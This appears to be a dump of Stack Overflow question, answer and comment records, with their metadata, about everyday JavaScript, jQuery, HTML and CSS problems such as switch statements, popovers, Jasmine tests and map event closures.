has body: Your data structure is not very friendly for accessing specific property values. If that were my data and I had control over the structure, I'd redesign it to be more suitable for the type of access you need. A primary goal in data structure design is that the structure is set up for the way you want to look things up in it. Your data structure is not good at all for looking up a specific property (to tell you the truth, I'm not sure what it is optimized for). As you have it now, the only way to find a specific property without hardcoding a given index value in the arrays is to search for it manually. So, if you were looking for the Id property, you could do this: var info = [ [{"Id":"10009"},{"Name":"TEST 2"}], [{"Phone":"77777777"},{"Fax":"null"}], [{"Description":"null"},{"Type":"null"}], [{"Website":"null"}] ] function findPropValue(data, propName) { data.forEach(function(current) { current.forEach(function(item) { if (propName in item) { return item[propName]; } }); }); } var id = findPropValue(info, "Id"); FYI, your data would be a whole lot easier to deal with like this: var info = [ {"Id":"10009", "Name":"TEST" ,"Phone":"77777777","Fax":"null","Description":"null","Type":"null","Website":"null"}, {"Id":"10010", "Name":"TEST2" ,"Phone":"88888888","Fax":"null","Description":"null","Type":"null","Website":"null"} ];
upvote count: 1

http://stackoverflow.com/comment/40196638
has text: @RobW: OK. I was just thinking to make it a little bit more _future-proof_. It won't hurt, will it?
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25619064

http://stackoverflow.com/comment/40777725
comment on: http://stackoverflow.com/a/25666083
type: AnswerComment
type: Comment
score: 0
has text: @ekta check updated answer, it has your solution. try example i mention in that.

http://stackoverflow.com/comment/39924333
comment on: http://stackoverflow.com/q/25565373
type: Comment
type: QuestionComment
has text: This lloks easy. However I don't understand what you want to do. Can you show the HTML and explain what happens, and when it happens with the HTML?
score: 0

http://stackoverflow.com/a/25705767
score: 2
accepted answer of: http://stackoverflow.com/q/25705741
has comment: http://stackoverflow.com/comment/40181417
type: AcceptedAnswer
downvote count: 0
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/25705741
has body: You have to include the jQuery JS file inside your tag.

http://stackoverflow.com/q/25557130
tagged with: switch-statement
type: Question
has title: JavaScript: switch statement not setting value in text box
tagged with: javascript
has answer: http://stackoverflow.com/a/25557482
accepted answer: http://stackoverflow.com/a/25557482
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25557399
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39909277
has answer: http://stackoverflow.com/a/25557589
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25557399
has body: I am working on a simple switch statement called from an onChange() function in a select element to set the value of a text field. Currently it is not setting the value. Any insights on improving the code would be appreciated. function setAgencyPrefix() { var r = document.forms[0].getElementById('agency'); var requestor = r.options[r.selectedIndex].value; var a = document.forms[0].getElementById('agency_abbrev'); switch (requestor) { case 'City of Banks': a.value = 'BANKS'; break; case 'City of Beaverton': a.value = 'BVT'; break; case 'City of Tigard': a.value = 'TIG'; break; case 'City of Tualatin': a.value = 'TUAL'; break; default: a.value = 'OTHER'; break; } } Beaverton Banks Tigard Tualatin Thanks!

http://stackoverflow.com/comment/39954761
comment on: http://stackoverflow.com/a/25581318
score: 0
type: Comment
type: AnswerComment
has text: the request callback function takes three parameters https://www.npmjs.org/package/request

http://stackoverflow.com/comment/40180928
type: Comment
has text: What have you tried? Show us the code. We solve problems, not write code for you.
comment on: http://stackoverflow.com/q/25705536
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40038221
has text: That's perfect thank you :) I only had to change "username" to "email" in the insertUsers function. Got it working now :)
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25613211

http://stackoverflow.com/q/25570373
answer count: 0
type: UnansweredQuestion
tagged with: jqvmap
tagged with: chart.js
has body: I'm using ChartJS and JQVMaps in a website to create an interactive world map that displays info graphics when a user clicks on a region. Countries are grouped according to regions so they will highlight and unhighlight all together with this code: var countryMap = { "bi": "Africa", "km": "Africa", //... "cn": "Asia", "kp": "Asia", "jp": "Asia", //... //... }; var regionMap = { "Africa" : { "countries" : [ "bi", "km" //... ], "name" : " Africa" }, "Asia" : { "countries" : [ "cn", "kp", "jp" //... ], "name" : " Asia" }, //... }; function getCountriesInRegion(cc) { for (var regionKey in regionMap) { var countries = regionMap[regionKey].countries; for (var countryIndex in countries) { if (cc == countries[countryIndex]) { return countries; } } } } function getRegion(cc) { var regionCode = countryMap[cc]; return regionMap[regionCode]; } function highlightRegionOfCountry (cc) { var countries = getRegion(cc).countries; for (countryIndex in countries) { $('#vmap').vectorMap('highlight',countries[countryIndex]); } $('#vmap').vectorMap('highlight',cc); } function unhighlightRegionOfCountry (cc) { var countries = getRegion(cc).countries; for (countryIndex in countries) { $('#vmap').vectorMap('unhighlight',countries[countryIndex]); } $('#vmap').vectorMap('unhighlight',cc); } I'm trying to use a switch to set up different data sets for a pie chart that renders when the user clicks a region. This is the code within jQuery('#vmap').vectorMap({});: onRegionOver : function (element, code, region) { highlightRegionOfCountry(code); }, onRegionOut : function (element, code, region) { unhighlightRegionOfCountry(code); }, onRegionClick: function(element, code, region) { switch (regionMap) { case 'Africa': var pieData = [ { value: 25, color:"9e0b0f" }, { value : 75, color : "#fff" } ]; break; case 'Asia': var pieData = [ { value: 50, color:"9e0b0f" }, { value : 50, color : "#fff" } ]; break; case 'Europe': var pieData = [ { value: 75, color:"9e0b0f" }, { value : 25, color : "#fff" } ]; br…
type: Question
has title: Conditional switch for ChartJS data
tagged with: javascript
has comment: http://stackoverflow.com/comment/39954413
score: 0
has comment: http://stackoverflow.com/comment/39958169

http://stackoverflow.com/q/25585514
has comment: http://stackoverflow.com/comment/40814501
type: Question
answer count: 1
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25592536
has body: So i have a dust file which renders certain values to the page on a given input For instance my dust file would have {Name} {homeAddress} {?zip}{zip},&amp;nbsp{/zip} {state} Now if the user were not to input in the zip value it would skip {zip}, but for some reason it reads the ,&amp;nbsp before reaching the {state}. I am not sure why this is happening, i also checked json value for zip is set to "", if the value is not provided
tagged with: dust.js
type: UnansweredQuestion
has title: Logic for dust template engine

http://stackoverflow.com/a/25689051
has body: A very basic approach would be test2.__proto__ = Object.create(test1) So you will have clear function available in test2 object.
has comment: http://stackoverflow.com/comment/40152703
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25689007

http://stackoverflow.com/comment/39917929
type: AnswerComment
comment on: http://stackoverflow.com/a/25561912
score: 0
type: Comment
has text: why just not not include the whole ?

http://stackoverflow.com/comment/40013646
comment on: http://stackoverflow.com/q/25613614
score: 0
has text: It seems to be a pure Javascript question, not linked to Angular.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25652952
has body: Try .toFixed(2) at the end of the number that you want to format
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25652913
upvote count: 1
type: Answer

http://stackoverflow.com/comment/40177526
type: Comment
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/25703743
has text: Nope, can't do that with CSS. You'd need to update it with JS, unless you use multiple inputs like @HelpNeeder said.

http://stackoverflow.com/q/25563785
downvote count: 0
favorite count: 0
has title: Delete using checkbox in php or javascript
type: UnansweredQuestion
tagged with: php
tagged with: checkbox
score: 1
tagged with: mysql
upvote count: 1
type: Question
tagged with: pgwmodal
has answer: http://stackoverflow.com/a/25563980
tagged with: javascript
has body: I have a problem with deleting the checked items in the data because my delete button is not part of the for loop where I get my data from the database that's why I'm having a hard time getting the ID of the data that is to be deleted. I can do a single delete with the javascript modaldelete but I can't implement the same thing with the checkbox since the delete button is not inside the table and it wouldn't be a good sight if you put the delete button beside the checkbox since it has a for loop for each item in the table. And now I can't figure out how will I get the values from the selected checkbox. What is the more appropriate way in solving this? PHP or javascript? Which is more efficient in the two language? Here are my code snippet: &lt;div style="font-size:16px;"&gt; Search: &lt;input id="filter" type="text" style="height:1em;"/&gt; &lt;p class="pull-right"&gt; &lt;a href="javascript:void(0)" class="modaladdclient" data-id="add"&gt;Add&lt;/a&gt; &amp;nbsp; &lt;a href="javascript:void(0)" class="modaldelete" data-id="add"&gt;Delete&lt;/a&gt; &amp;nbsp; &lt;/p&gt; &lt;/div&gt; &lt;?php $statement="SELECT * FROM clients"; $result = mysqlparser($statement, $db); ?&gt; &lt;table data-filter="#filter" class="footable" style="background-color:white;"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Client ID&lt;/th&gt; &lt;th&gt;First Name&lt;/th&gt; &lt;th data-sort-initial="ascending"&gt;Last Name&lt;/th&gt; &lt;th&gt;Mobile Number&lt;/th&gt; &lt;th&gt;Branch Code&lt;/th&gt; &lt;th data-sort-ignore="true" colspan="2"&gt;Options&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;?php for($i=0; $i&lt;count($result); $i++){?&gt; &lt;tr&gt; &lt;td&gt;&lt;?php echo $result[$i]['Client_ID'];?&gt;&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $result[$i]['First_Name'];?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $result[$i]['Last_Name'];?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $result[$i]['Mobile_Number'];?&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="javascript:void(0)" class="modalbid"…
answer count: 1

http://stackoverflow.com/comment/40173997
comment on: http://stackoverflow.com/q/25701914
type: Comment
type: QuestionComment
has text: I forgot to say Hi!! Hi everybody!!
score: 1

http://stackoverflow.com/q/25680034
has comment: http://stackoverflow.com/comment/40139656
has answer: http://stackoverflow.com/a/25681702
has comment: http://stackoverflow.com/comment/40135036
type: UnansweredQuestion
has title: Getting last-child by class name through JQuery
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40134695
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40134170
has body: I am trying to get hold of the last child of class full-width. It's a looping text with border-bottom. All I want is that the last child doesn't get the border. To make sure it works in IE8 too, I am doing it through JQuery:- Somehow it doesn't work. JQuery $(".solutions-section .field-items .field-item div:last-child").css("border-bottom","none"); HTML &lt;div class="full-width info-block solutions-section"&gt; &lt;div class="field field-name-field-solutions-area field-type-text-long field-label-hidden"&gt; &lt;div class="field-items"&gt; &lt;div class="field-item even" style="border-bottom-style: none;"&gt;&lt;h2&gt;A Para&lt;/h2&gt; &lt;div class="full-width solid-block"&gt; &lt;div class="alignleft onethird-width "&gt; &lt;img border="0" src="sites/all/themes/ourbrand/images/image.png" width="120"&gt; &lt;/div&gt; &lt;div class="alignleft qtr-width small-text dark-grey"&gt; Who is it for? All Text&lt;/div&gt; &lt;div class="clear"&gt;&amp;nbsp;&lt;/div&gt; &lt;/div&gt; &lt;div class="full-width solid-block"&gt; &lt;div class="alignleft onethird-width "&gt; &lt;img border="0" src="sites/all/themes/ourbrand/images/image.png" width="120"&gt; &lt;/div&gt; &lt;div class="alignleft qtr-width small-text dark-grey"&gt; Who is it for? All Text&lt;/div&gt; &lt;div class="clear"&gt;&amp;nbsp;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
has comment: http://stackoverflow.com/comment/40133883
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25681467
tagged with: jquery

http://stackoverflow.com/q/25563633
has comment: http://stackoverflow.com/comment/39922853
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery
score: 0
has answer: http://stackoverflow.com/a/25564176
tagged with: http://stackoverflow.com/tag/html
tagged with: cordova
type: UnansweredQuestion
tagged with: css
has title: grayscale css is not working on android
has body: I am working on phonegap application here I am trying to grayscale of my all page of the application so I try to apply this css on the body. It's not working for android, but it's working fine for iOS after that I also tried to apply on one element but again it's not working. Please can you help me to get out of this problem filter: url("data:image/svg+xml;utf8,&lt;svg xmlns=\'http://www.w3.org/2000/svg\'&gt;&lt;filter id=\'grayscale\'&gt;&lt;feColorMatrix type=\'matrix\' values=\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\'/&gt;&lt;/filter&gt;&lt;/svg&gt;#grayscale"); /* Firefox 10+, Firefox on Android */ filter: gray; /* IE6-9 */ -webkit-filter: grayscale(100%);
has answer: http://stackoverflow.com/a/38899940

http://stackoverflow.com/q/25676031
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25676118
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has title: Html Form - run Javascript when input is equal to "Nearby"
type: AnsweredQuestion
tagged with: geolocation
tagged with: forms
type: Question
has body: I have some javascript that is getting the users latitude and longitude from their device to be used for a local search. Everything is functioning correctly, but because the geolocation function creates a pop up warning to the user to "Allow" or "Don't Allow" their location to be used, I'd like to not run the script unless the user has specifically selected "nearby" as the location. Here's my java that does the geolocation: x = navigator.geolocation; x.getCurrentPosition(success, failure); function success(position){ document.getElementById('lat1').value = position.coords.latitude; document.getElementById('long1').value = position.coords.longitude; } function failure() { // do nothing } Here's my form. The input id="search-box-2" is the input element I want to use to change the behavior of the script. If input id="search-box-2" has value="Nearby", then I'd like for the javascript function to execute. Otherwise, ideally it would do nothing. Search So, in summary, I'd like the script to run only if the search-box-2 field value equals 'nearby' Thanks in advance.
has answer: http://stackoverflow.com/a/25676118
tagged with: javascript

http://stackoverflow.com/comment/40136815
comment on: http://stackoverflow.com/a/25679023
type: AnswerComment
has text: http://jsfiddle.net/vikrant47/367b45j7/3/ I have updated your fiddle is this what you wanted??
score: 0
type: Comment

http://stackoverflow.com/comment/40023976
comment on: http://stackoverflow.com/q/25619300
type: Comment
has text: Seriously? I would never have guessed that. Can you elaborate on why this is an issue for Firefox?
type: QuestionComment
score: 0

http://stackoverflow.com/a/25638736
downvote count: 0
score: 1
type: Answer
upvote count: 1
has body: You cannot open a popup in an asynchronous callback function, you always have to open it directly on user interaction. This is an important browser feature to protect the user from unwanted popups. You definitely have to call FB.api BEFORE the user click. Should be no problem to call FB.api('/me') right after initializing the JavaScript SDK and store it in a variable for later.
answers question: http://stackoverflow.com/q/25636316

http://stackoverflow.com/comment/40041073
comment on: http://stackoverflow.com/q/25628547
score: 1
has text: I can't say for sure, but based on the fact that you need to switch contexts or whatever, in the dev tools console, I'd say you can't, they're probably separate environments.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39957833
type: AnswerComment
score: 0
type: Comment
has text: How can I then check whether the #launchpad is visible or hidden, and display alerts accordingly?
comment on: http://stackoverflow.com/a/25583165

http://stackoverflow.com/comment/89001905
type: AnswerComment
comment on: http://stackoverflow.com/a/25626201
score: 0
type: Comment
has text: @VikasBansal other than a loop I cannot think any other approach.

http://stackoverflow.com/comment/40336188
has text: If you use the fragment identifier for the language then you can't use it for anything else.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25591099

http://stackoverflow.com/comment/40187222
type: QuestionComment
comment on: http://stackoverflow.com/q/25709118
type: Comment
has text: You'll have to post the code here, and preferably a minimal example on jsFiddle. We're not going to go to your website and start clicking stuff, and then search the entire source for the snippet we need.
score: 7

http://stackoverflow.com/q/25572069
has body: I have a class like: MyClass = function() { var view = { delegateEvents: function () { this.$el.on('click', 'input[type="radio"]', this.toggleServices); }, toggleServices: function () { … }, render: function () { blah-blah-blag (rendering the view)… this.delegateEvents(); } }; view.init(); return view; } (how I am getting $el is beyond the scope of the question, but be sure it works) I am testing an instance of this class in Jasmine like: it('it handles clicks on radio buttons', function () { var view = new MyClass(); view.render(); spyOn(view, 'toggleServices'); view.$('input[type="radio"]').eq(0).click(); expect(view.toggleServices).toHaveBeenCalled(); }); The problem is now that in the test, the spy is not being called, but the code goes into original toggleServices() of the class instead of being a spy. Seems like I don't understand how to create a spy that would cought requests to this.toggleServices in init(). Any suggestions?
has answer: http://stackoverflow.com/a/25598492
type: AnsweredQuestion
has title: Testing event handler on an object with Jasmine
accepted answer: http://stackoverflow.com/a/25598492
type: Question
answer count: 1
tagged with: javascript
tagged with: event-handling
tagged with: jquery
tagged with: jasmine
score: 0
tagged with: jquery-events

http://stackoverflow.com/comment/40003771
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25608235
has text: Then just use a closure as shown in "Milind Anantwar" example.

http://stackoverflow.com/q/25640250
tagged with: cordova
accepted answer: http://stackoverflow.com/a/31745113
type: AnsweredQuestion
has body: picker plugin in cordova date-picker plugin link . It successfully configure into iOS and android project and its works only first time, after that date function not call again. function dateAction(){ alert("here"); datePicker.show(options, function(date){ alert("date result " + date); }); } var options = { date: new Date(), mode: 'date' }; Please figure out the problem. I will use same code which will be provide into that link.
has answer: http://stackoverflow.com/a/31745113
type: Question
has title: Cordova date-picker issue
tagged with: ios
answer count: 1
tagged with: javascript
tagged with: jquery
score: 0
tagged with: android

http://stackoverflow.com/q/25579285
type: Question
has answer: http://stackoverflow.com/a/25579332
upvote count: 3
has title: Uncaught TypeError: Cannot read property 'join' of null
answer count: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25579332
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/39951024
downvote count: 0
tagged with: jquery
has body: I am using the following code to join the values of selectbox and add them to the textbox $(document).ready(function () { $('#ascuisines').on('change', function () { $('#cuisineslisting').val($('#ascuisines').val().join()); }).trigger('change'); $('#asfeatures').on('change', function () { $('#featureslisting').val($('#asfeatures').val().join()); }).trigger('change'); }); and my HTML Code is Like African American Delivery BYOB Brunch I don't know what's wrong but I am getting an error in my console as 'Uncaught TypeError: Cannot read property 'join' of null ' And this is still working in both application & JSFiddle but it changed the complete CSS properties of the selectbox. If I comment either $('#cuisineslisting').val($('#ascuisines').val().join()); or $('#featureslisting').val($('#asfeatures').val().join()); then the CSS gets activated perfectly.
favorite count: 0

http://stackoverflow.com/a/25558048
has comment: http://stackoverflow.com/comment/39927726
has body: It's hard to guess what's going on without any error message, but I'll give some tips, that may be causing the problem: First make sure you allow ActionScript to access the javascript by setting allowscriptaccess with value always &lt;param name="allowscriptaccess" value="always"/&gt; If that's not the case make sure method exists closeCourseWindow and it does not behave strange. Always use flash debugger to help you catch and solve the problems easily To allow ActionScript access the JavaScript interface on file system, goto: http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager04.html select Always allow option, and reload the page where your alert box should work.
downvote count: 0
has comment: http://stackoverflow.com/comment/39922384
has comment: http://stackoverflow.com/comment/39922534
has comment: http://stackoverflow.com/comment/39922477
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/39923554
has comment: http://stackoverflow.com/comment/39923466
has comment: http://stackoverflow.com/comment/39923553
has comment: http://stackoverflow.com/comment/39923503
score: 1
has comment: http://stackoverflow.com/comment/39923660
answers question: http://stackoverflow.com/q/25551444
has comment: http://stackoverflow.com/comment/39923585

http://stackoverflow.com/q/25657514
upvote count: 1
type: Question
type: AnsweredQuestion
tagged with: javascript
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40094212
tagged with: jquery
has answer: http://stackoverflow.com/a/25657895
favorite count: 0
has answer: http://stackoverflow.com/a/25657720
has title: Do Bootstrap popover's copy elements instead of moving them? (click handlers not working..)
has comment: http://stackoverflow.com/comment/40093946
possible better answer: http://stackoverflow.com/a/25657895
has comment: http://stackoverflow.com/comment/40094221
accepted answer: http://stackoverflow.com/a/25657720
tagged with: twitter-bootstrap
score: 1
has body: I created a DIV with some buttons in it that have click event handlers specified in an external JS file. I've been trying to figure out why the click events don't trigger when I click buttons in the popover, but then I noticed when I type in the jQuery selector for the button's class in the console (after opening the popover) two elements show up instead of one. This makes me think that Bootstrap popovers make copies of the element specified in the content: function() { return $("element"); } property when initializing it. Is that the case? If so, is there any way to get click handlers working if the elements are being copied instead of moved? Example HTML: Click me, too! Click me JS: $(".popoverTriggerBtn").popover({ animation: true, html: true, placement: 'bottom', trigger: 'click', container: 'body', content: function() { return $(".popoverHtml").html(); } }); $(".popoverInnerBtn").bind("mousedown", function(e) { alert("yay!"); }); JSFIDDLE As you can see, the event is not triggered because apparently when an element is copied the events are not copied with it (why is that?). If you modify the code for the inner button to have an onclick attribute, then the attribute is copied when the popover is triggered and the code is run: Click me, too! Unfortunately, I really need to bind the events in an external JS file if possible.

http://stackoverflow.com/q/25570263
tagged with: angularjs
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25571435
has title: Why angular-xeditable doesn't highlight the current value at the first run?
type: AnsweredQuestion
type: Question
tagged with: javascript
score: 0
answer count: 1
tagged with: x-editable
has body: I use angular-xeditable with dropdowns for in-place editing like that (jsFiddle). The strange thing is that I don't see the current value highlighted as selected when I click on xeditable link right after page is loaded. Any ideas on why is this happening? HTML Person: {{people[user.name].text}} Status: {{statuses[user.status].text}} Javascript app.run(function(editableOptions) { editableOptions.theme = 'bs3'; }); app.controller('Ctrl', function($scope, $filter) { $scope.user = { status: 2, name: 2 }; $scope.statuses = { '1': { text: 'status1'}, '2':{ text: 'status2'}, '3':{ text: 'status3'}, '4':{ text: 'status4'} }; $scope.people = { '1': { text: 'p1'}, '2':{ text: 'p2'}, '3':{ text: 'p3'}, '4':{ text: 'p4'} }; });
has answer: http://stackoverflow.com/a/25571435

http://stackoverflow.com/comment/39938071
comment on: http://stackoverflow.com/q/25572339
score: 0
type: Comment
type: QuestionComment
has text: also missing doctype

http://stackoverflow.com/comment/40017669
type: AnswerComment
has text: Thanks, this works! Can you explain what it does and why the other one didn't work? Also is there anyway to do this outside the HTML?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25615841

http://stackoverflow.com/q/25676963
has answer: http://stackoverflow.com/a/25677186
has comment: http://stackoverflow.com/comment/40128649
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/3750082
has answer: http://stackoverflow.com/a/25677252
has title: JavaScript: Assigning values from one array to variables in another
has body: I want to populate a series of strings (beijingString, belingString etc) with values from an array ('contentStrings'); so as not to have to do: beijingString = 'five strings'; berlinString = 'similar but different five strings'; bronxString = 'also similar but different five strings'; buenosairesString = 'similar again but subtly different five strings'; In the end I have 40 such strings to populate. I tried putting the cities' string variable names into a second array ('cities') and looping through, assigning indexed values. But it does not work. Do I have to 'reference' (?) each variable as an element of the 'cities' array in some way, please? TIA! Full code snippet: &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;/head&gt; &lt;body&gt; &lt;script&gt; var beijingContentString = ''; var berlinContentString = ''; var bronxContentString = ''; var buenos_airesContentString = ''; var contentStrings = [ ['http://www.beijing.com', 'Beijing title', '&lt;img src="./images/beijing.jpg"&gt;', 'Beijing caption', 'Beijing description' ], ['http://www.berlin.com', 'Berlin title', '&lt;img src="./images/berlin.jpg"&gt;', 'Berlin caption', 'Berlin description' ], ['http://www.bronx.com', 'Bronx title', '&lt;img src="./images/Bronx.jpg"&gt;', 'Bronx caption', 'Bronx description' ], ['http://www.buenosaires.com', 'Buenos Aires title', '&lt;img src="./images/Buenos Aires.jpg"&gt;', 'Buenos Aires caption', 'Buenos Aires description' ] ]; var beijingString = ''; var berlinString = ''; var bronxString = ''; var bueonosairesString = ''; alert ('before: ' + beijingString); alert ('before: ' + berlinString); alert ('before: ' + bronxString); alert ('before: ' + bueonosairesString); var cities = [beijingString, berlinString, bronxString, bueonosairesString]; var contentArrayLoop = 0; for (contentArrayLoop = 0; contentArrayLoop &lt; 4; contentArrayLoop++) { cities[contentArrayLoop]= contentStrings[contentArrayLoop][0] + contentStrings[contentArrayLoop][1] + contentStrings[contentArrayLo…
type: Question
possible better answer: http://stackoverflow.com/a/25677178
tagged with: arrays
tagged with: javascript
has answer: http://stackoverflow.com/a/25677178
accepted answer: http://stackoverflow.com/a/25677252
score: 0
answer count: 3
linked to: http://stackoverflow.com/q/684672

http://stackoverflow.com/q/25636333
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/31779334
tagged with: google-maps
answer count: 1
has body: i have shapes and i draw it in maps : shapes; //array of shapes, i draw it from string that i take from db for (var i = shapes.length - 1; i &gt;= 0; i--) { google.maps.event.addListener(shapes[i], 'click', function() { myFunc(shapes[i]); //function to edit shapes[i] }); }; when i do this : 1. e.g i have shapes length = 5; 2. i click in 1 of the shape but myFunc always called with i=5 so myFunc always call shapes[5] i already try : Passing a pointer to objects method safely to google.maps.event.addListener but still fail, can someone give me advice?
type: UnansweredQuestion
has title: Google Maps : google.maps.event.addListener
tagged with: drawing
type: Question
linked to: http://stackoverflow.com/q/22436596

http://stackoverflow.com/q/25576975
has answer: http://stackoverflow.com/a/25577165
has body: .NET and Java both have a slew of DI/IoC containers available to them and each have a number of patterns that I've found very useful at various points in working with them. I'm now at a point where I would like to do equivalent things in JavaScript. As JavaScript is a dynamic language, I don't expect DI/IoC containers to have direct equivalents to all the functionality provided by the containers found in statically typed languages so alternatives to these patterns are welcome. I also expect that the DI/IoC containers available in JavaScript will vary in their functionality, so references to varying containers are more than welcome. The following patterns are those supported by Autofac 3 that I believe are applicable to dynamic languages. For general information about these patterns and relationships, see http://autofac.readthedocs.org/en/latest/resolve/relationships.html and http://nblumhardt.com/2010/01/the-relationship-zoo/. Most, if not all, of the concepts below are also available in other languages and DI/IoC containers such as Google Guice and Spring. What are the nearest equivalents to the concepts and patterns described below in JavaScript? General Concepts Concept 1: Registration with the IoC container Before the IoC container can create instances of a type, it needs to be aware of the type. This is done through registration. Registration is usually done declaratively: class A {} var builder = new ContainerBuilder(); builder.RegisterType&lt;A&gt;(); The above makes the IoC container aware of the type A. It discovers A's dependencies through reflection. Registration can also happen through functions that act as factories. These functions are often lambdas and may be written inline: class B {} class A { A(string name, B b) { } } builder.RegisterType&lt;B&gt;(); builder.Register(c =&gt; // c is a reference to the created container new A("-name-", c.Resolve&lt;B&gt;())); Being able to provide factory functions is especially useful when you have a type that need…
downvote count: 0
tagged with: autofac
upvote count: 8
type: Question
tagged with: c#
has title: JavaScript DI/IoC equivalents to standard DI patterns for statically typed languages
tagged with: dependency-injection
tagged with: javascript
answer count: 1
tagged with: inversion-of-control
favorite count: 0
score: 8
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/37836813
has comment: http://stackoverflow.com/comment/63181290

http://stackoverflow.com/a/25684826
answers question: http://stackoverflow.com/q/25682048
type: Answer
has body: I couldn't see any difference in the explorer with your code. What i can advice you for this class #overlay_search{ right: -22px; // take it out completely from input field } if that will not help make a screenshot how is looking now and how u want that will look. And i will fix exactly as you wish.
score: 0

http://stackoverflow.com/comment/40122818
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25673827
has text: setTimeout expects a function as first paramter, you're passing a string. Remove the quotes around makeBox()
score: 2

http://stackoverflow.com/a/25680679
upvote count: 1
answers question: http://stackoverflow.com/q/25679434
score: 1
downvote count: 0
has body: Just made a tic tac toe in about 20 minutes from scratch for you. JS Bin Here Just alternating players right now... modify it to your own needs. all win conditions will alert who winner is: $(document).ready( function(){ function checkwin() { if ( $('#a1').html() == "X" &amp;&amp; $('#b1').html() == "X" &amp;&amp; $('#c1').html() == "X" || $('#a2').html() == "X" &amp;&amp; $('#b2').html() == "X" &amp;&amp; $('#c2').html() == "X" || $('#a3').html() == "X" &amp;&amp; $('#b3').html() == "X" &amp;&amp; $('#c3').html() == "X" || $('#a1').html() == "X" &amp;&amp; $('#a2').html() == "X" &amp;&amp; $('#a3').html() == "X" || $('#b1').html() == "X" &amp;&amp; $('#b2').html() == "X" &amp;&amp; $('#b3').html() == "X" || $('#c1').html() == "X" &amp;&amp; $('#c2').html() == "X" &amp;&amp; $('#c3').html() == "X" || $('#a1').html() == "X" &amp;&amp; $('#b2').html() == "X" &amp;&amp; $('#c3').html() == "X" || $('#a3').html() == "X" &amp;&amp; $('#b2').html() == "X" &amp;&amp; $('#c1').html() == "X" ) { alert("winner is: X"); } if ( $('#a1').html() == "O" &amp;&amp; $('#b1').html() == "O" &amp;&amp; $('#c1').html() == "O" || $('#a2').html() == "O" &amp;&amp; $('#b2').html() == "O" &amp;&amp; $('#c2').html() == "O" || $('#a3').html() == "O" &amp;&amp; $('#b3').html() == "O" &amp;&amp; $('#c3').html() == "O" || $('#a1').html() == "O" &amp;&amp; $('#a2').html() == "O" &amp;&amp; $('#a3').html() == "O" || $('#b1').html() == "O" &amp;&amp; $('#b2').html() == "O" &amp;&amp; $('#b3').html() == "O" || $('#c1').html() == "O" &amp;&amp; $('#c2').html() == "O" &amp;&amp; $('#c3').html() == "O" || $('#a1').html() == "O" &amp;&amp; $('#b2').html() == "O" &amp;&amp; $('#c3').html() == "O" || $('#a3').html() == "O" &amp;&amp; $('#b2').html() == "O" &amp;&amp; $('#c1').html() == "O" ) { alert("winner is: O"); } } var player = 1; $('td').click(function(){ if(player == 1){ $(this).html("X").removeClass('o').addClass('x'); checkwin(); player++; } else if (player == 2){ $(this).html("O").removeClass('x'…
type: Answer

http://stackoverflow.com/comment/40168240
has text: Thats not the idea of razor, razor renders the UI output. Javascript manipulates the UI and then the page posts the information back to the server. I suggest you read up more on [asp.net](http://www.asp.net)
comment on: http://stackoverflow.com/q/25698574
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25596035
score: 3
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25595968
has body: Piece-by-piece: Get all links with a tracking attribute: var anchors = $('a[tracking]'); and loop through them: anchors.each( function() { at each point, get the a element and its text (replacing ' ' with '+'): var a = $(this); var txt = a.text().replace(' ', '+'); and append that text to the existing attribute: a.attr('tracking', a.attr('tracking') + txt); and we're done. }); Example: http://codepen.io/paulroub/pen/Extrl
has comment: http://stackoverflow.com/comment/39981405
downvote count: 0
answers question: http://stackoverflow.com/q/25595968
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/a/25643695
type: Answer
answers question: http://stackoverflow.com/q/25642081
